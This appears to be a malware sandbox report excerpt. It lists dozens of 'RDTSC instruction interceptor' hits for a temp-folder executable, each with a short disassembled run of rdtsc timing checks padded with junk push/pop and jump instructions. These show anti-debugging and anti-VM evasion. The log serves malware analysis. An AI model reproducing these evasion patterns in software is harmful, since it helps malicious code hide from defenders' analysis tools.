Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0B35 second address: 2A0B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE5D53969F5h 0x0000000d popad 0x0000000e pushad 0x0000000f jc 00007FE5D53969E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0B5C second address: 2A0B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCC4h 0x00000009 je 00007FE5D4EEBCB6h 0x0000000f popad 0x00000010 pushad 0x00000011 jno 00007FE5D4EEBCB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0B84 second address: 2A0B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE5D53969E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0B93 second address: 2A0BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCC2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0BA9 second address: 2A0BCB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5D53969E6h 0x00000008 je 00007FE5D53969E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jbe 00007FE5D53969E6h 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0BCB second address: 2A0BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCBCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0BDC second address: 2A0BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D53969F0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0D4D second address: 2A0D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0D53 second address: 2A0D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0D58 second address: 2A0D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE5D4EEBCB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A0D62 second address: 2A0D73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007FE5D53969ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A76A6 second address: 2A76AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A7C61 second address: 2A7C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A7C66 second address: 2A7C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE5D4EEBCB6h 0x0000000a jmp 00007FE5D4EEBCC0h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A7C85 second address: 2A7C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A853A second address: 2A853E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A853E second address: 2A8544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A8544 second address: 2A855C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5D4EEBCC0h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A855C second address: 2A856A instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A856A second address: 2A856E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A856E second address: 2A8572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A8572 second address: 2A8578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A8578 second address: 2A858A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A858A second address: 2A858E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2AE0DE second address: 2AE0ED instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2AE0ED second address: 2AE0F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2AE0F7 second address: 2AE103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B11F8 second address: 2B1226 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5D4EEBCC8h 0x00000008 push edx 0x00000009 jl 00007FE5D4EEBCB6h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnl 00007FE5D4EEBCD8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1226 second address: 2B122A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B122A second address: 2B1234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1234 second address: 2B1238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B13AA second address: 2B13AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1768 second address: 2B176C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B176C second address: 2B178C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE5D4EEBCC7h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B178C second address: 2B1798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE5D53969E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1A54 second address: 2B1A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1D7A second address: 2B1D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1D7E second address: 2B1D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1D82 second address: 2B1D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FE5D53969E6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B1D94 second address: 2B1DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B9000 second address: 2B9009 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B9009 second address: 2B900F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B900F second address: 2B9015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B916F second address: 2B918B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE5D4EEBCBEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B918B second address: 2B918F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B94D9 second address: 2B94FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE5D4EEBCC2h 0x0000000f jng 00007FE5D4EEBCB6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B97B9 second address: 2B97C3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE5D53969E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B97C3 second address: 2B97C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B9EF3 second address: 2B9F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007FE5D53969F7h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2BA6C2 second address: 2BA6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2B83F3 second address: 2B8403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969ECh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2BCBC2 second address: 2BCBCB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2BCBCB second address: 2BCBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2C1EC8 second address: 2C1ED6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FE5D4EEBCD3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2C1ED6 second address: 2C1F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969F7h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE5D53969F3h 0x00000011 jo 00007FE5D53969E6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jl 00007FE5D53969E6h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2C1F1B second address: 2C1F21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D23AD second address: 2D23B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D23B6 second address: 2D23C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE5D4EEBCB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D23C0 second address: 2D23C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D23C6 second address: 2D23CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D1F44 second address: 2D1F4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D4FBB second address: 2D4FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FE5D4EEBCBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D8B3D second address: 2D8B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2D8B45 second address: 2D8B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F0711 second address: 2F075E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE5D53969ECh 0x00000008 pushad 0x00000009 ja 00007FE5D53969E6h 0x0000000f jmp 00007FE5D53969F1h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ebx 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FE5D53969F9h 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2EF707 second address: 2EF711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2EF890 second address: 2EF897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2EF897 second address: 2EF8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F0407 second address: 2F0415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969EAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F538F second address: 2F53B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jl 00007FE5D4EEBCB6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F4F89 second address: 2F4F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F4F8F second address: 2F4F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F9563 second address: 2F956F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FE5D53969E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F956F second address: 2F9592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE5D4EEBCBFh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FE5D4EEBCB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F9592 second address: 2F9596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2F9596 second address: 2F959A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFAE1 second address: 2FFAED instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5D53969E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFAED second address: 2FFAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFAF2 second address: 2FFB00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE5D53969E6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFB00 second address: 2FFB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FE5D4EEBCBDh 0x0000000d jc 00007FE5D4EEBCB6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jbe 00007FE5D4EEBCEFh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFB29 second address: 2FFB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE5D53969E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFB35 second address: 2FFB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5D4EEBCC7h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2FFB55 second address: 2FFB59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 317477 second address: 317488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE5D4EEBCB6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 317488 second address: 31748C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 31702C second address: 317030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 317030 second address: 31703E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FE5D53969E6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 31703E second address: 317042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3171A1 second address: 3171A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3171A5 second address: 3171AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
